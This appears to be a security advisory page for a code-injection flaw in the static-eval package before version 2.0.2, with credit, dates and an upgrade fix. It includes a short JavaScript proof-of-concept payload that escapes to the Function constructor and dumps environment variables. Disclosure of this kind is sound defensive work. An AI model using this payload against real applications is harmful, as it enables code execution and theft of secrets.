Arbitrary Code Execution Affecting org.webjars.npm:static-eval package, versions (,2.0.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

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  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-480222
  • published14 Feb 2019
  • disclosed3 Jan 2019
  • creditMatias Lang

Introduced: 3 Jan 2019

CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

Upgrade org.webjars.npm:static-eval to version 2.0.2 or higher.

Overview

org.webjars.npm:static-eval evaluates statically-analyzable expressions.

Affected versions of this package are vulnerable to Arbitrary Code Execution. It passes untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));

CVSS Scores

version 3.1